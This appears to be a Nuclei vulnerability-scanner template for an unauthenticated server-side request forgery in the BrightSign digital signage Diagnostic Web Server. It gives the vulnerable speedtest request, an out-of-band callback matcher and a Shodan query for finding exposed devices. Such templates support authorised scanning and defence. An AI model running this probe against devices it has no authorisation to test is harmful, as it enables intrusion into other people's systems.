34 lines
1.3 KiB
YAML
34 lines
1.3 KiB
YAML
id: brightsign-dsdws-ssrf
|
|
|
|
info:
|
|
name: BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated - SSRF
|
|
author: 0x_Akoko
|
|
severity: medium
|
|
description: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service.
|
|
reference:
|
|
- https://brightsign.zendesk.com/hc/en-us/articles/360056180694-Regarding-Advisory-ID-ZSL-2020-5595
|
|
- https://www.zeroscience.mk/codes/brightsign_ssrf.txt
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
shodan-query: title:"BrightSign"
|
|
tags: ssrf,brightsign,unauth
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/speedtest?url={{interactsh-url}}'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_1, "Downloaded")'
|
|
|
|
# digest: 4a0a00473045022100f384a1c9918ced7a634d9bb428ad065eca12ab44ede02651245a08ef88e1de1c02205a49fb18871a51cc159946892d1e6249abd07dc6c82ed691a5a102d1cf8e6d39:922c64590222798bb761d5b6d8e72950
|